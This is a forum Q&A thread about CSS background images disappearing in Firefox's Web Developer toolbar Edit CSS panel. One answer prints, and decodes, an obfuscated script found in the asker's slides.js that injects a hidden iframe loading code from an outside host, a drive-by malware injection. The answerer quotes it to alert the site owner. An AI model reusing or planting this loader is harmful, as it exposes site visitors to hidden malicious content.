When using the firefox webdeveloper toolbar to edit CSS, why do some image disappear when the toolbar is open?

Question

My typical workflow for editing and building my stylesheets for HTML documents is open the Firefox web developer toolbar's Edit CSS panel and edit directly in the browser window.

Most of the time this works like a charm. There are times, however, that when I open the Edit CSS panel, certain images disappear, and I have no idea why. And even more strange, some times images that I add with the toolbar open are not visible when it is shut. (I'm talking primarily of images that are added with the CSS background-image rule).

Here's some examples...

http://kenbrook.org - if you open the Edit CSS panel, the body background image disappears, along with several of the div backgrounds. In fact, I think almost all of the CSS background image images disappear. I didn't write the markup and most of the styles on this site, but I'm responsible for editing and completing them. So any idea why this happens?

http://joelglovier.com - also check this one that I'm just now building myself and writing the styles for (only a couple elements on the page right now). In the header div I have an empty div that I'm putting an image in. When Edit CSS is open, the image appears as expected. When it's closed, however, the image cannot be seen, although using firebug I can see the style is definitely being applied and the div is where it should be.

Any explanation??

Answer 1

I think I figured out the problem - at least for the second link. For that one that was showing up when Edit CSS was open, but not showing up with out that panel open, it seems I neglected to define a top: value on an absolutely positioned div. When I defined that top value, the image show shows in both the ordinary browser and with Edit CSS open.

Not sure if that applies though for the kenbrook.org where the images show up normally but disappear when Edit CSS is open.

Answer 2

Well, I can't replicate your problem, when I open the Edit CSS Panel the page stays just the same, but my virus scanner warns me that one of your scripts (/assets/js/slides.js) has a hidden Trojan.Script.Iframer inside it...

Maybe you could try firebug, which also has a powerful css online editor.

Answer 3

The issue seems to have resolved itself - perhaps by a recent update of Firefox? But I cannot replicate the issue now either.

Answer 4

What is the purpose of this bit of code (From http://kenbrook.org/assets/js/slides.js)

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

Unobfuscated it writes this to the document

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

Are you aware of its presence?

Answer 5

Though, if you look at the Web developer toolbar homepage I find this: "'Edit CSS' does not work with background images that are linked relative to the CSS" under "Issues". So, it's the relative linked images that the addon can't handle at the moment. Try to get the creator of the addon to fix it... I just hate this issue as well...